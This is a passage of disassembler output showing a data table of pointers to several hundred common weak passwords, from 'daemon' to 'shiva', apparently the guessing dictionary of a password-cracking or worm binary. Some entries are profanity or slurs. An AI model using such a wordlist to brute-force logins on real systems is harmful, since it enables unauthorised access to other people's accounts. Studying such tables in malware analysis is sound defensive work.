		dd offset aDaemon	; "daemon"
		dd offset aDaisy	; "daisy"
		dd offset aDana		; "dana"
		dd offset aDancer	; "dancer"
		dd offset aDaniel	; "daniel"
		dd offset aDanielle	; "danielle"
		dd offset aDanny	; "danny"
		dd offset aDapper	; "dapper"
		dd offset aDark		; "dark"
		dd offset aDarkaven	; "darkaven"
		dd offset aData		; "data"
		dd offset aDave		; "dave"
		dd offset aDawn		; "dawn"
		dd offset aDead		; "dead"
		dd offset aDeathsta	; "deathsta"
		dd offset aDebbie	; "debbie"
		dd offset aDeborah	; "deborah"
		dd offset aDebug	; "debug"
		dd offset aDecember	; "december"
		dd offset aDeck		; "deck"
		dd offset aDefault	; "default"
		dd offset aDefault_0	; "DEFAULT"
		dd offset aDefoe	; "defoe"
		dd offset aDelta	; "delta"
		dd offset aDeluge	; "deluge"
		dd offset aDemocrat	; "democrat"
		dd offset aDenise	; "denise"
		dd offset aDennis	; "dennis"
		dd offset aDesiree	; "desiree"
		dd offset aDesk		; "desk"
		dd offset aDesktop	; "desktop"
		dd offset aDesperat	; "desperat"
		dd offset aDevelop	; "develop"
		dd offset aDevice	; "device"
		dd offset aDial		; "dial"
		dd offset aDiamond	; "diamond"
		dd offset aDiana	; "diana"
		dd offset aDiane	; "diane"
		dd offset aDice		; "dice"
		dd offset aDick		; "dick"
		dd offset aDiehard	; "diehard"
		dd offset aDiet		; "diet"
		dd offset aDieter	; "dieter"
		dd offset aDigital	; "digital"
		dd offset aDinosaur	; "dinosaur"
		dd offset aDipshit	; "dipshit"
		dd offset aDirect	; "direct"
		dd offset aDirector	; "director"
		dd offset aDirty	; "dirty"
		dd offset aDisc		; "disc"
		dd offset aDiscipli	; "discipli"
		dd offset aDisclose	; "disclose"
		dd offset aDiscover	; "discover"
		dd offset aDisk_0	; "disk"
		dd offset aDiskette	; "diskette"
		dd offset aDisney	; "disney"
		dd offset aDisplay_0	; "display"
		dd offset aDoctor	; "doctor"
		dd offset aDollar	; "dollar"
		dd offset aDong		; "dong"
		dd offset aDoom		; "doom"
		dd offset aDoom2	; "doom2"
		dd offset aDoomii	; "doomii"
		dd offset aDoomsday	; "doomsday"
		dd offset aDoonesbu	; "doonesbu"
		dd offset aDoor		; "door"
		dd offset aDoors	; "doors"
		dd offset aDope		; "dope"
		dd offset aDownload	; "download"
		dd offset aDragon	; "dragon"
		dd offset aDrdoom	; "drdoom"
		dd offset aDrive	; "drive"
		dd offset aDrought	; "drought"
		dd offset aDuck		; "duck"
		dd offset aDude		; "dude"
		dd offset aDuelist	; "duelist"
		dd offset aDuke		; "duke"
		dd offset aDulce	; "dulce"
		dd offset aDuncan	; "duncan"
		dd offset aDungeon	; "dungeon"
		dd offset aDyke		; "dyke"
		dd offset aEager	; "eager"
		dd offset aEagle	; "eagle"
		dd offset aEarth	; "earth"
		dd offset aEasier	; "easier"
		dd offset aEasy		; "easy"
		dd offset aEatme	; "eatme"
		dd offset aEcho		; "echo"
		dd offset aEddie	; "eddie"
off_430050	dd offset aEdges	; DATA XREF: ___:00427B70o
					; "edges"
		dd offset aEdinburg	; "edinburg"
		dd offset aEdit		; "edit"
off_43005C	dd offset aEdition	; DATA XREF: ___:off_427A0Co
					; "edition"
		dd offset aEducation	; "education"
		dd offset aEducatio	; "educatio"
		dd offset aEdwin	; "edwin"
		dd offset aEdwina	; "edwina"
		dd offset aEgghead	; "egghead"
		dd offset aEiderdow	; "eiderdow"
		dd offset aEileen	; "eileen"
		dd offset aEinsiein	; "einsiein"
		dd offset aEinstein	; "einstein"
		dd offset aElaine	; "elaine"
		dd offset aElanor	; "elanor"
		dd offset aElectron	; "electron"
		dd offset aElephant	; "elephant"
		dd offset aElizabet	; "elizabet"
		dd offset aEllen	; "ellen"
		dd offset aEmail	; "email"
		dd offset aEmerald	; "emerald"
		dd offset aEmily	; "emily"
		dd offset aEmmanuel	; "emmanuel"
		dd offset aEnemy	; "enemy"
		dd offset aEngine	; "engine"
		dd offset aEngineer	; "engineer"
		dd offset aEngland	; "england"
		dd offset aEnglish	; "english"
		dd offset aEnter	; "enter"
		dd offset aEnterpri	; "enterpri"
		dd offset aEnzyme	; "enzyme"
		dd offset aErenity	; "erenity"
		dd offset aEric		; "eric"
		dd offset aErica	; "erica"
		dd offset aErika	; "erika"
		dd offset aErin		; "erin"
		dd offset aErotic	; "erotic"
		dd offset aErsatz	; "ersatz"
		dd offset aEstablis	; "establis"
		dd offset aEstate	; "estate"
		dd offset aEternity	; "eternity"
		dd offset aEuclid	; "euclid"
		dd offset aEvelyn	; "evelyn"
		dd offset aExpert	; "expert"
		dd offset aExplode	; "explode"
		dd offset aExplore	; "explore"
		dd offset aExplorer	; "explorer"
		dd offset aExplosiv	; "explosiv"
		dd offset aExtensio	; "extensio"
		dd offset aFairway	; "fairway"
		dd offset aFaith	; "faith"
		dd offset aFalcon	; "falcon"
		dd offset aFalse	; "false"
		dd offset aFamily	; "family"
		dd offset aFarad	; "farad"
		dd offset aFaraday	; "faraday"
		dd offset aFart		; "fart"
		dd offset aFast		; "fast"
		dd offset aFear		; "fear"
		dd offset aFeds		; "feds"
		dd offset aFelicia	; "felicia"
		dd offset aFender	; "fender"
		dd offset aFermat	; "fermat"
		dd offset aFerrari	; "ferrari"
		dd offset aFidelity	; "fidelity"
		dd offset aField	; "field"
		dd offset aFight	; "fight"
		dd offset aFile		; "file"
		dd offset aFinite	; "finite"
		dd offset aFire		; "fire"
		dd offset aFirewall	; "firewall"
		dd offset aFishers	; "fishers"
		dd offset aFlakes	; "flakes"
		dd offset aFloat	; "float"
		dd offset aFlorida	; "florida"
		dd offset aFlower	; "flower"
		dd offset aFlowers	; "flowers"
		dd offset aFood		; "food"
		dd offset aFool		; "fool"
		dd offset aFoolproo	; "foolproo"
		dd offset aFootball	; "football"
		dd offset aForce	; "force"
		dd offset aFord		; "ford"
		dd offset aForesigh	; "foresigh"
		dd offset aForever	; "forever"
		dd offset aForm		; "form"
		dd offset aFormat	; "format"
		dd offset aFornicat	; "fornicat"
		dd offset aForsythe	; "forsythe"
		dd offset aFourier	; "fourier"
		dd offset aFoxtrot	; "foxtrot"
		dd offset aFrance	; "france"
		dd offset aFrank	; "frank"
		dd offset aFreak	; "freak"
		dd offset aFred		; "fred"
		dd offset aFree		; "free"
		dd offset aFreedom	; "freedom"
		dd offset aFrench	; "french"
		dd offset aFriday	; "friday"
		dd offset aFriend	; "friend"
		dd offset aFriends	; "friends"
		dd offset aFrighten	; "frighten"
		dd offset aFrog		; "frog"
		dd offset aFryguy	; "fryguy"
		dd offset aFuck		; "fuck"
		dd offset aFucker	; "fucker"
		dd offset aFucking	; "fucking"
		dd offset aFuckme	; "fuckme"
		dd offset aFuckyou	; "fuckyou"
		dd offset aFudge	; "fudge"
		dd offset aFunction	; "function"
		dd offset aFungible	; "fungible"
		dd offset aGabriel	; "gabriel"
		dd offset aGames	; "games"
		dd offset aGardner	; "gardner"
		dd offset aGarfield	; "garfield"
		dd offset aGateway	; "gateway"
		dd offset aGatherin	; "gatherin"
		dd offset aGatt		; "gatt"
		dd offset aGauss	; "gauss"
		dd offset aGeorge	; "george"
		dd offset aGerm		; "germ"
		dd offset aGertrude	; "gertrude"
		dd offset aGhost	; "ghost"
		dd offset aGibson	; "gibson"
		dd offset aGigabyte	; "gigabyte"
		dd offset aGina		; "gina"
		dd offset aGinger	; "ginger"
		dd offset aGirl		; "girl"
		dd offset aGlacier	; "glacier"
		dd offset aGold		; "gold"
		dd offset aGolden	; "golden"
		dd offset aGolf		; "golf"
		dd offset aGolfer	; "golfer"
		dd offset aGood		; "good"
		dd offset aGorgeous	; "gorgeous"
		dd offset aGorges	; "gorges"
		dd offset aGosling	; "gosling"
		dd offset aGouge	; "gouge"
		dd offset aGovermen	; "govermen"
		dd offset aGrades	; "grades"
		dd offset aGraham	; "graham"
		dd offset aGrahm	; "grahm"
		dd offset aGrand	; "grand"
		dd offset aGrant	; "grant"
		dd offset aGreat	; "great"
		dd offset aGreen	; "green"
		dd offset aGroup	; "group"
		dd offset aGryphon	; "gryphon"
		dd offset aGuardian	; "guardian"
		dd offset aGucci	; "gucci"
		dd offset aGuess	; "guess"
		dd offset aGuitar	; "guitar"
		dd offset aGumption	; "gumption"
		dd offset aGuntis	; "guntis"
		dd offset aHack		; "hack"
		dd offset aHacked	; "hacked"
		dd offset aHagar	; "hagar"
		dd offset aHair		; "hair"
		dd offset aHallowee	; "hallowee"
		dd offset aHamlet	; "hamlet"
		dd offset aHamster	; "hamster"
		dd offset aHandel	; "handel"
		dd offset aHandily	; "handily"
		dd offset aHandjob	; "handjob"
		dd offset aHappenin	; "happenin"
		dd offset aHard		; "hard"
		dd offset aHardcore	; "hardcore"
		dd offset aHarddriv	; "harddriv"
		dd offset aHarmony	; "harmony"
		dd offset aHarold	; "harold"
		dd offset aHarvey	; "harvey"
		dd offset aHate		; "hate"
		dd offset aHaven	; "haven"
		dd offset aHawaii	; "hawaii"
		dd offset aHead		; "head"
		dd offset aHeadbang	; "headbang"
		dd offset aHeat		; "heat"
		dd offset aHeathen	; "heathen"
		dd offset aHeather	; "heather"
		dd offset aHebrides	; "hebrides"
		dd offset aHeidi	; "heidi"
		dd offset aHeinlein	; "heinlein"
		dd offset aHell		; "hell"
		dd offset aHello	; "hello"
		dd offset aHelp		; "help"
		dd offset aHerb		; "herb"
		dd offset aHerbert	; "herbert"
		dd offset aHero		; "hero"
		dd offset aHeroin	; "heroin"
		dd offset aHewlett	; "hewlett"
		dd offset aHexadeci	; "hexadeci"
		dd offset aHiawatha	; "hiawatha"
		dd offset aHibernia	; "hibernia"
		dd offset aHidden	; "hidden"
		dd offset aHigh		; "high"
		dd offset aHighland	; "highland"
		dd offset aHitler	; "hitler"
		dd offset aHits		; "hits"
		dd offset aHole		; "hole"
		dd offset aHolly	; "holly"
		dd offset aHollywoo	; "hollywoo"
		dd offset aHomepage	; "homepage"
		dd offset aHomer	; "homer"
		dd offset aHomework	; "homework"
		dd offset aHoney	; "honey"
		dd offset aHooker	; "hooker"
		dd offset aHooters	; "hooters"
		dd offset aHorny	; "horny"
		dd offset aHorrible	; "horrible"
		dd offset aHorror	; "horror"
		dd offset aHorse	; "horse"
		dd offset aHorus	; "horus"
		dd offset aHost		; "host"
		dd offset aHotdog	; "hotdog"
		dd offset aHotel	; "hotel"
		dd offset aHttp_0	; "http"
		dd offset aHunt		; "hunt"
		dd offset aHunter	; "hunter"
		dd offset aHutchins	; "hutchins"
		dd offset aHydrogen	; "hydrogen"
		dd offset aHyper	; "hyper"
		dd offset aHypertxt	; "hypertxt"
		dd offset aIcecream	; "icecream"
		dd offset aIllumina	; "illumina"
		dd offset aImage	; "image"
		dd offset aImbrogli	; "imbrogli"
		dd offset aImmortal	; "immortal"
		dd offset aImperial	; "imperial"
		dd offset aInclude	; "include"
		dd offset aIndia	; "india"
		dd offset aIndian	; "indian"
		dd offset aIndiana	; "indiana"
		dd offset aIndians	; "indians"
		dd offset aIngres	; "ingres"
		dd offset aIngress	; "ingress"
		dd offset aIngrid	; "ingrid"
		dd offset aInna		; "inna"
		dd offset aInnocuou	; "innocuou"
		dd offset aInput	; "input"
		dd offset aInside	; "inside"
		dd offset aInteger	; "integer"
		dd offset aInvent	; "invent"
		dd offset aIrene	; "irene"
		dd offset aIrishman	; "irishman"
		dd offset aIsis		; "isis"
		dd offset aJackie	; "jackie"
		dd offset aJail		; "jail"
		dd offset aJane		; "jane"
		dd offset aJanet	; "janet"
		dd offset aJanice	; "janice"
		dd offset aJanie	; "janie"
		dd offset aJapan	; "japan"
		dd offset aJasmin	; "jasmin"
		dd offset aJava		; "java"
		dd offset aJazz		; "jazz"
		dd offset aJean		; "jean"
		dd offset aJeanne	; "jeanne"
		dd offset aJeff		; "jeff"
		dd offset aJenni	; "jenni"
		dd offset aJennifer	; "jennifer"
		dd offset aJenny	; "jenny"
		dd offset aJerry	; "jerry"
		dd offset aJerusale	; "jerusale"
		dd offset aJessica	; "jessica"
		dd offset aJester	; "jester"
		dd offset aJewelry	; "jewelry"
		dd offset aJill		; "jill"
		dd offset aJixian	; "jixian"
		dd offset aJoanne	; "joanne"
		dd offset aJody		; "jody"
		dd offset aJohn		; "john"
		dd offset aJohndoe	; "johndoe"
		dd offset aJohnny	; "johnny"
		dd offset aJoseph	; "joseph"
		dd offset aJoshua	; "joshua"
		dd offset aJournal	; "journal"
		dd offset aJoyce	; "joyce"
		dd offset aJudith	; "judith"
		dd offset aJudy		; "judy"
		dd offset aJuggle	; "juggle"
		dd offset aJuicy	; "juicy"
		dd offset aJulia	; "julia"
		dd offset aJulie	; "julie"
		dd offset aJuliet	; "juliet"
		dd offset aJune		; "june"
		dd offset aJupiter	; "jupiter"
		dd offset aKaka		; "kaka"
		dd offset aKaren	; "karen"
		dd offset aKarie	; "karie"
		dd offset aKarina	; "karina"
		dd offset aKatana	; "katana"
		dd offset aKate		; "kate"
		dd offset aKathleen	; "kathleen"
		dd offset aKathrine	; "kathrine"
		dd offset aKathy	; "kathy"
		dd offset aKatina	; "katina"
		dd offset aKatrina	; "katrina"
		dd offset aKelly	; "kelly"
		dd offset aKeri		; "keri"
		dd offset aKermit	; "kermit"
		dd offset aKernel	; "kernel"
		dd offset aKerri	; "kerri"
		dd offset aKerrie	; "kerrie"
		dd offset aKerry	; "kerry"
		dd offset aKevin	; "kevin"
		dd offset aKewl		; "kewl"
		dd offset aKeybord	; "keybord"
		dd offset aKeyin	; "keyin"
		dd offset aKeyword	; "keyword"
		dd offset aKids		; "kids"
		dd offset aKill		; "kill"
		dd offset aKillthem	; "killthem"
		dd offset aKilo		; "kilo"
		dd offset aKimberly	; "kimberly"
		dd offset aKing		; "king"
		dd offset aKirk		; "kirk"
		dd offset aKirkland	; "kirkland"
		dd offset aKiss		; "kiss"
		dd offset aKissmyas	; "kissmyas"
		dd offset aKitten	; "kitten"
		dd offset aKlingon	; "klingon"
		dd offset aKnife	; "knife"
		dd offset aKnight	; "knight"
		dd offset aKnightma	; "knightma"
		dd offset aKnown	; "known"
		dd offset aKrista	; "krista"
		dd offset aKristen	; "kristen"
		dd offset aKristi	; "kristi"
		dd offset aKristie	; "kristie"
		dd offset aKristin	; "kristin"
		dd offset aKristine	; "kristine"
		dd offset aKristy	; "kristy"
		dd offset aLadies	; "ladies"
		dd offset aLadle	; "ladle"
		dd offset aLakers	; "lakers"
		dd offset aLambda	; "lambda"
		dd offset aLaminati	; "laminati"
		dd offset aLana		; "lana"
		dd offset aLaptop	; "laptop"
		dd offset aLara		; "lara"
		dd offset aLarkin	; "larkin"
		dd offset aLarry	; "larry"
		dd offset aLaser	; "laser"
		dd offset aLaura	; "laura"
		dd offset aLava		; "lava"
		dd offset aLazarus	; "lazarus"
		dd offset aLazer	; "lazer"
		dd offset aLeah		; "leah"
		dd offset aLebesgue	; "lebesgue"
		dd offset aLeft		; "left"
		dd offset aLeftwing	; "leftwing"
		dd offset aLegal	; "legal"
		dd offset aLeland	; "leland"
		dd offset aLeroy	; "leroy"
		dd offset aLesbian	; "lesbian"
		dd offset aLeslie	; "leslie"
		dd offset aLetmein	; "letmein"
		dd offset aLewis	; "lewis"
		dd offset aLexluthe	; "lexluthe"
		dd offset aLiberal	; "liberal"
		dd offset aLibrary	; "library"
		dd offset aLick		; "lick"
		dd offset aLicker	; "licker"
		dd offset aLife		; "life"
		dd offset aLight	; "light"
		dd offset aLightsab	; "lightsab"
		dd offset aLima		; "lima"
		dd offset aLimbaugh	; "limbaugh"
		dd offset aLimited	; "limited"
		dd offset aLinda	; "linda"
		dd offset aLink		; "link"
		dd offset aLion		; "lion"
		dd offset aLips		; "lips"
		dd offset aLisa		; "lisa"
		dd offset aLisp		; "lisp"
		dd offset aLiteratu	; "literatu"
		dd offset aLive		; "live"
		dd offset aLoad		; "load"
		dd offset aLock		; "lock"
		dd offset aLockout	; "lockout"
		dd offset aLockword	; "lockword"
		dd offset aLogic	; "logic"
		dd offset aLoginwor	; "loginwor"
		dd offset aLogout	; "logout"
		dd offset aLois		; "lois"
		dd offset aLolopc	; "lolopc"
		dd offset aLoose	; "loose"
		dd offset aLore		; "lore"
		dd offset aLori		; "lori"
		dd offset aLorin	; "lorin"
		dd offset aLorraine	; "lorraine"
		dd offset aLoser	; "loser"
		dd offset aLouis	; "louis"
		dd offset aLovebug	; "lovebug"
		dd offset aLover	; "lover"
		dd offset aLuck		; "luck"
		dd offset aLucus	; "lucus"
		dd offset aLucy		; "lucy"
		dd offset aLude		; "lude"
		dd offset aLuke		; "luke"
		dd offset aLust		; "lust"
		dd offset aLynn		; "lynn"
		dd offset aLynne	; "lynne"
		dd offset aMachine	; "machine"
		dd offset aMacintos	; "macintos"
		dd offset aMack		; "mack"
		dd offset aMacro	; "macro"
		dd offset aMaggot	; "maggot"
		dd offset aMagic	; "magic"
		dd offset aMagnet	; "magnet"
		dd offset aMail		; "mail"
		dd offset aMaint	; "maint"
		dd offset aMalcolm	; "malcolm"
		dd offset aMalcom	; "malcom"
		dd offset aMana		; "mana"
		dd offset aManager	; "manager"
		dd offset aMara		; "mara"
		dd offset aMarci	; "marci"
		dd offset aMarcy	; "marcy"
		dd offset aMaria	; "maria"
		dd offset aMariens	; "mariens"
		dd offset aMarietta	; "marietta"
		dd offset aMarijuan	; "marijuan"
		dd offset aMarines	; "marines"
		dd offset aMark		; "mark"
		dd offset aMarkus	; "markus"
		dd offset aMarni	; "marni"
		dd offset aMarriage	; "marriage"
		dd offset aMars		; "mars"
		dd offset aMarty	; "marty"
		dd offset aMarvin	; "marvin"
		dd offset aMary		; "mary"
		dd offset aMason	; "mason"
		dd offset aMaster	; "master"
		dd offset aMath		; "math"
		dd offset aMaurice	; "maurice"
		dd offset aMeagan	; "meagan"
		dd offset aMegabyte	; "megabyte"
		dd offset aMegadeth	; "megadeth"
		dd offset aMegan	; "megan"
		dd offset aMelissa	; "melissa"
		dd offset aMellon	; "mellon"
		dd offset aMelrose	; "melrose"
		dd offset aMember	; "member"
		dd offset aMemory	; "memory"
		dd offset aMenace	; "menace"
		dd offset aMenu		; "menu"
		dd offset aMercury	; "mercury"
		dd offset aMerlin	; "merlin"
		dd offset aMetal	; "metal"
		dd offset aMetalhea	; "metalhea"
		dd offset aMetalica	; "metalica"
		dd offset aMets		; "mets"
		dd offset aMice		; "mice"
		dd offset aMichael	; "michael"
		dd offset aMichel	; "michel"
		dd offset aMichelan	; "michelan"
		dd offset aMichele	; "michele"
		dd offset aMichelle	; "michelle"
		dd offset aMickey	; "mickey"
		dd offset aMicro	; "micro"
		dd offset aMicrochi	; "microchi"
		dd offset aMicropro	; "micropro"
		dd offset aMicrosof	; "microsof"
		dd offset aMidieval	; "midieval"
		dd offset aMike		; "mike"
		dd offset aMine		; "mine"
		dd offset aMinimum	; "minimum"
		dd offset aMinsky	; "minsky"
		dd offset aMisfit	; "misfit"
		dd offset aMission	; "mission"
		dd offset aMkii		; "mkii"
		dd offset aMode		; "mode"
		dd offset aModem	; "modem"
		dd offset aMogul	; "mogul"
		dd offset aMoguls	; "moguls"
		dd offset aMonday	; "monday"
		dd offset aMonica	; "monica"
		dd offset aMoom		; "moom"
		dd offset aMoor		; "moor"
		dd offset aMoose	; "moose"
		dd offset aMore		; "more"
		dd offset aMorley	; "morley"
		dd offset aMorris	; "morris"
		dd offset aMortal	; "mortal"
		dd offset aMortalco	; "mortalco"
		dd offset aMortgage	; "mortgage"
		dd offset aMosaic	; "mosaic"
		dd offset aMountain	; "mountain"
		dd offset aMouse	; "mouse"
		dd offset aMove		; "move"
		dd offset aMovie	; "movie"
		dd offset aMovies	; "movies"
		dd offset aMozart	; "mozart"
		dd offset aMpeg		; "mpeg"
		dd offset aMsdos	; "msdos"
		dd offset aMuppets	; "muppets"
		dd offset aMutant	; "mutant"
		dd offset aNagel	; "nagel"
		dd offset aName		; "name"
		dd offset aNancy	; "nancy"
		dd offset aNapoleon	; "napoleon"
		dd offset aNasa		; "nasa"
		dd offset aNavy		; "navy"
		dd offset aNepenthe	; "nepenthe"
		dd offset aNeptune	; "neptune"
		dd offset aNess		; "ness"
		dd offset aNetscape	; "netscape"
		dd offset aNetwork_0	; "network"
		dd offset aNewborn	; "newborn"
		dd offset aNews		; "news"
		dd offset aNewsgrou	; "newsgrou"
		dd offset aNewton	; "newton"
		dd offset aNewyork	; "newyork"
		dd offset aNext		; "next"
		dd offset aNice		; "nice"
		dd offset aNicole	; "nicole"
		dd offset aNicotine	; "nicotine"
		dd offset aNight	; "night"
		dd offset aNightmar	; "nightmar"
		dd offset aNintendo	; "nintendo"
		dd offset aNita		; "nita"
		dd offset aNnaacp	; "nnaacp"
		dd offset aNoble	; "noble"
		dd offset aNobody	; "nobody"
		dd offset aNode		; "node"
		dd offset aNoreen	; "noreen"
		dd offset aNotes	; "notes"
		dd offset aNoth		; "noth"
		dd offset aNova		; "nova"
		dd offset aNovel	; "novel"
		dd offset aNovember	; "november"
		dd offset aNoxious	; "noxious"
		dd offset aNuclear	; "nuclear"
		dd offset aNude		; "nude"
		dd offset aNuke		; "nuke"
		dd offset aNukem	; "nukem"
		dd offset aNull_1	; "null"
		dd offset aNumber	; "number"
		dd offset aNutritio	; "nutritio"
		dd offset aNuts		; "nuts"
		dd offset aNyquist	; "nyquist"
		dd offset aObscurit	; "obscurit"
		dd offset aOceanogr	; "oceanogr"
		dd offset aOcelot	; "ocelot"
		dd offset aOffice	; "office"
		dd offset aOkay		; "okay"
		dd offset aOldage	; "oldage"
		dd offset aOlivetti	; "olivetti"
		dd offset aOlivia	; "olivia"
		dd offset aOmega	; "omega"
		dd offset aOpen		; "open"
		dd offset aOpening	; "opening"
		dd offset aOpenlock	; "openlock"
		dd offset aOpensesa	; "opensesa"
		dd offset aOperator	; "operator"
		dd offset aOrca		; "orca"
		dd offset aOrient	; "orient"
		dd offset aOrwell	; "orwell"
		dd offset aOscar	; "oscar"
		dd offset aOsiris	; "osiris"
		dd offset aOutdoors	; "outdoors"
		dd offset aOutlaw	; "outlaw"
		dd offset aOutput	; "output"
		dd offset aOutside	; "outside"
		dd offset aOxford	; "oxford"
		dd offset aPacific	; "pacific"
		dd offset aPackard	; "packard"
		dd offset aPacker	; "packer"
		dd offset aPainless	; "painless"
		dd offset aPaint	; "paint"
		dd offset aPakistan	; "pakistan"
		dd offset aPamela	; "pamela"
		dd offset aPapa		; "papa"
		dd offset aPaper	; "paper"
		dd offset aPapers	; "papers"
		dd offset aPascal	; "pascal"
		dd offset aPassphra	; "passphra"
		dd offset aPaste	; "paste"
		dd offset aPatricia	; "patricia"
		dd offset aPatriot	; "patriot"
		dd offset aPatty	; "patty"
		dd offset aPaula	; "paula"
		dd offset aPeanuts	; "peanuts"
		dd offset aPecker	; "pecker"
		dd offset aPencil	; "pencil"
		dd offset aPenelope	; "penelope"
		dd offset aPenguin	; "penguin"
		dd offset aPenis	; "penis"
		dd offset aPenname	; "penname"
		dd offset aPentagon	; "pentagon"
		dd offset aPentagra	; "pentagra"
		dd offset aPenthous	; "penthous"
		dd offset aPentium	; "pentium"
		dd offset aPeoria	; "peoria"
		dd offset aPepper	; "pepper"
		dd offset aPercolat	; "percolat"
		dd offset aPerfect	; "perfect"
		dd offset aPermit	; "permit"
		dd offset aPersimmo	; "persimmo"
		dd offset aPersona	; "persona"
		dd offset aPervert	; "pervert"
		dd offset aPete		; "pete"
		dd offset aPeter	; "peter"
		dd offset aPhil		; "phil"
		dd offset aPhilip	; "philip"
		dd offset aPhoenix	; "phoenix"
		dd offset aPhone	; "phone"
		dd offset aPhoton	; "photon"
		dd offset aPhrack	; "phrack"
		dd offset aPhrase	; "phrase"
		dd offset aPhreak	; "phreak"
		dd offset aPhuck	; "phuck"
		dd offset aPick		; "pick"
		dd offset aPierre	; "pierre"
		dd offset aPimp		; "pimp"
		dd offset aPinname	; "pinname"
		dd offset aPiss		; "piss"
		dd offset aPizza	; "pizza"
		dd offset aPlane	; "plane"
		dd offset aPlayboy	; "playboy"
		dd offset aPlover	; "plover"
		dd offset aPluto	; "pluto"
		dd offset aPlymouth	; "plymouth"
		dd offset aPoetry	; "poetry"
		dd offset aPolice	; "police"
		dd offset aPolly	; "polly"
		dd offset aPolynomi	; "polynomi"
		dd offset aPonderin	; "ponderin"
		dd offset aPoop		; "poop"
		dd offset aPoor		; "poor"
		dd offset aPork		; "pork"
		dd offset aPorn		; "porn"
		dd offset aPorno	; "porno"
		dd offset aPorsche	; "porsche"
		dd offset aPost		; "post"
		dd offset aPoster	; "poster"
		dd offset aPower	; "power"
		dd offset aPraise	; "praise"
		dd offset aPrecious	; "precious"
		dd offset aPrelude	; "prelude"
		dd offset aPresto	; "presto"
		dd offset aPrince	; "prince"
		dd offset aPrinceto	; "princeto"
		dd offset aPrinter	; "printer"
		dd offset aPriv		; "priv"
		dd offset aPrivate	; "private"
		dd offset aPrivs	; "privs"
		dd offset aProceed	; "proceed"
		dd offset aProcesso	; "processo"
		dd offset aProfesso	; "professo"
		dd offset aProfile	; "profile"
		dd offset aProgram	; "program"
		dd offset aPrompt	; "prompt"
		dd offset aProtect	; "protect"
		dd offset aProtozoa	; "protozoa"
		dd offset aPsycho	; "psycho"
		dd offset aPsychopa	; "psychopa"
		dd offset aPublic	; "public"
		dd offset aPuck		; "puck"
		dd offset aPuke		; "puke"
		dd offset aPumpkin	; "pumpkin"
		dd offset aPuneet	; "puneet"
		dd offset aPunisher	; "punisher"
		dd offset aPunk		; "punk"
		dd offset aPuppet	; "puppet"
		dd offset aPussy	; "pussy"
		dd offset aQuebec	; "quebec"
		dd offset aQwert	; "qwert"
		dd offset aQwerty	; "qwerty"
		dd offset aRabbit	; "rabbit"
		dd offset aRachel	; "rachel"
		dd offset aRachelle	; "rachelle"
		dd offset aRachmani	; "rachmani"
		dd offset aRaid		; "raid"
		dd offset aRain		; "rain"
		dd offset aRainbow	; "rainbow"
		dd offset aRaindrop	; "raindrop"
		dd offset aRaleigh	; "raleigh"
		dd offset aRandom	; "random"
		dd offset aRape		; "rape"
		dd offset aRascal	; "rascal"
		dd offset aRazor	; "razor"
		dd offset aReagan	; "reagan"
		dd offset aReality	; "reality"
		dd offset aReally	; "really"
		dd offset aReam		; "ream"
		dd offset aReaper	; "reaper"
		dd offset aRebal	; "rebal"
		dd offset aRebecca	; "rebecca"
		dd offset aRebel	; "rebel"
		dd offset aRecord	; "record"
		dd offset aReddawn	; "reddawn"
		dd offset aRedhead	; "redhead"
		dd offset aReferenc	; "referenc"
		dd offset aRegional	; "regional"
		dd offset aRelease	; "release"
		dd offset aRemote	; "remote"
		dd offset aRenee	; "renee"
		dd offset aReno		; "reno"
		dd offset aRent		; "rent"
		dd offset aReport	; "report"
		dd offset aRepublic	; "republic"
		dd offset aResistan	; "resistan"
		dd offset aReveal	; "reveal"
		dd offset aRhino	; "rhino"
		dd offset aRich		; "rich"
		dd offset aRick		; "rick"
		dd offset aRiffraff	; "riffraff"
		dd offset aRight	; "right"
		dd offset aRightwin	; "rightwin"
		dd offset aRing		; "ring"
		dd offset aRiot		; "riot"
		dd offset aRipple	; "ripple"
		dd offset aRisc		; "risc"
		dd offset aRoach	; "roach"
		dd offset aRobert	; "robert"
		dd offset aRobin	; "robin"
		dd offset aRobot	; "robot"
		dd offset aRobotics	; "robotics"
		dd offset aRobyn	; "robyn"
		dd offset aRochelle	; "rochelle"
		dd offset aRocheste	; "rocheste"
		dd offset aRock		; "rock"
		dd offset aRocky	; "rocky"
		dd offset aRockyhor	; "rockyhor"
		dd offset aRodent	; "rodent"
		dd offset aRolex	; "rolex"
		dd offset aRomano	; "romano"
		dd offset aRomeo	; "romeo"
		dd offset aRomulan	; "romulan"
		dd offset aRonald	; "ronald"
		dd offset aRose		; "rose"
		dd offset aRosebud	; "rosebud"
		dd offset aRosemary	; "rosemary"
		dd offset aRoses	; "roses"
		dd offset aRough	; "rough"
		dd offset aRubber	; "rubber"
		dd offset aRuben	; "ruben"
		dd offset aRuby		; "ruby"
		dd offset aRude		; "rude"
		dd offset aRules	; "rules"
		dd offset aRunning_0	; "running"
		dd offset aRush		; "rush"
		dd offset aRuth		; "ruth"
		dd offset aSafe		; "safe"
		dd offset aSalami	; "salami"
		dd offset aSale		; "sale"
		dd offset aSalt		; "salt"
		dd offset aSamantha	; "samantha"
		dd offset aSample	; "sample"
		dd offset aSandra	; "sandra"
		dd offset aSandy	; "sandy"
		dd offset aSara		; "sara"
		dd offset aSarah	; "sarah"
		dd offset aSaturday	; "saturday"
		dd offset aSaturn	; "saturn"
		dd offset aSaxon	; "saxon"
		dd offset aScamper	; "scamper"
		dd offset aScheme	; "scheme"
		dd offset aSchool	; "school"
		dd offset aSchoolsucks	; "schoolsucks"
		dd offset aScifi	; "scifi"
		dd offset aScorpion	; "scorpion"
		dd offset aScott	; "scott"
		dd offset aScotty	; "scotty"
		dd offset aScout	; "scout"
		dd offset aSearch	; "search"
		dd offset aSecurity	; "security"
		dd offset aSeed		; "seed"
		dd offset aSega		; "sega"
		dd offset aSensor	; "sensor"
		dd offset aSentinel	; "sentinel"
		dd offset aSentry	; "sentry"
		dd offset aSerenity	; "serenity"
		dd offset aSerial_0	; "serial"
		dd offset aService	; "service"
		dd offset aSesame	; "sesame"
		dd offset aSexy		; "sexy"
		dd offset aShannon	; "shannon"
		dd offset aSharc	; "sharc"
		dd offset aShark	; "shark"
		dd offset aSharks	; "sharks"
		dd offset aSharon	; "sharon"
		dd offset aSheffiel	; "sheffiel"
		dd offset aSheldon	; "sheldon"
		dd offset aShell	; "shell"
		dd offset aSherri	; "sherri"
		dd offset aShift	; "shift"
		dd offset aShirley	; "shirley"
		dd offset aShit		; "shit"
		dd offset aShitpot	; "shitpot"
		dd offset aShiva	; "shiva"
